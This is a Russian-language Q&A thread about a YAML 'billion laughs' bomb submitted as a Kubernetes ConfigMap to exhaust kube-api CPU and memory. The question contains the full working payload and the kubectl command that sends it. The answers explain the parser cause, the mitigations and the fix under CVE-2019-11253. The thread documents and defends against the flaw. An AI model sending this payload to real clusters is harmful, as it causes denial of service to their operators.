Безопасность: Yaml Bomb: пользователь может перезапустить kube-api, отправив configmap
Создайте файл yaml-bomb.yaml
:
apiVersion: v1
data:
a: &a ["web","web","web","web","web","web","web","web","web"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
name: yaml-bomb
namespace: default
Отправьте запрос на создание ConfigMap
в API Kubernetes с помощью cmd kubectl apply -f yaml-bomb.yaml
.
kube-api
Загрузка ЦП/памяти очень высока, даже позже происходит перезапуск.
Как мы можем предотвратить такую ямл-бомбу?
Ответы
Ответ 1
Это атака на миллиард смеха, и ее можно исправить только в процессоре YAML.
Обратите внимание, что википедия здесь не так, когда говорится
Атака "Миллиард смеха" должна существовать для любого формата файла, который может содержать ссылки, например, эта бомба YAML:
Проблема не в том, что формат файла содержит ссылки; это процессор, расширяющий их. Это противоречит духу спецификации YAML, в которой говорится, что якоря используются для узлов, на которые фактически ссылаются из нескольких мест. В загруженных данных якоря & псевдонимы должны стать множественными ссылками на один и тот же объект, а не расширять псевдоним до копии привязанного узла.
В качестве примера сравните поведение онлайн-парсера PyYAML и онлайн-парсера NimYAML (полное раскрытие: моя работа) при вставке фрагмента кода. PyYAML не будет отвечать из-за загрузки памяти от расширяющихся псевдонимов, в то время как NimYAML не расширяет псевдонимы и, следовательно, отвечает быстро.
Удивительно, что Кубернетес страдает от этой проблемы; Я бы предположил, так как он написан на Go, что они могут правильно обрабатывать ссылки. Вы должны сообщить об ошибке, чтобы исправить это.
Ответ 2
Я мог бы подумать о нескольких возможных мерах по смягчению, хотя, как говорит @flyx, реальное исправление здесь было бы в библиотеке синтаксического анализа YAML, используемой Kubernetes.
Интересно, что выполнение этого в кластере Kubernetes на моей локальной машине показало, что всплеск ЦП был на стороне клиента (это процесс, обрабатывающий процесс kubectl), а не на стороне сервера.
Если бы проблема была на стороне сервера, то возможные меры были бы использовать RBAC, чтобы минимизировать доступ к созданию ConfigMap, и, возможно, использовать контроллер доступа, такой как OPA, для просмотра манифестов до их применения к кластеру.
Вероятно, это следует поднять с помощью группы реагирования на уязвимости безопасности в Kubernetes, чтобы можно было выполнить правильное исправление.
РЕДАКТИРОВАТЬ - я думаю, где проблема проявляется, может быть до используемой версии кластера. Применение на стороне сервера завершено до бета-версии (должно быть включено по умолчанию) в 1.16. Таким образом, в кластере 1.16, возможно, это коснулось бы стороны сервера, а не стороны клиента.
РЕДАКТИРОВАТЬ - просто установите кластер 1.16, по-прежнему показывая загрузку ЦП в качестве клиентской стороны в kubectl...
РЕДАКТИРОВАТЬ - я подал проблему для этого здесь, а также подтвердил, что DoS может быть достигнут на стороне сервера, используя curl
вместо kubectl
Окончательное РЕДАКТИРОВАНИЕ - Это было присвоено CVE (CVE-2019-11253) и исправлено в Kubernetes 1. 13+. Исправление также было применено к базовой библиотеке синтаксического анализа YAML здесь, поэтому любые другие программы Go должны быть в порядке, если они используют последнюю версию.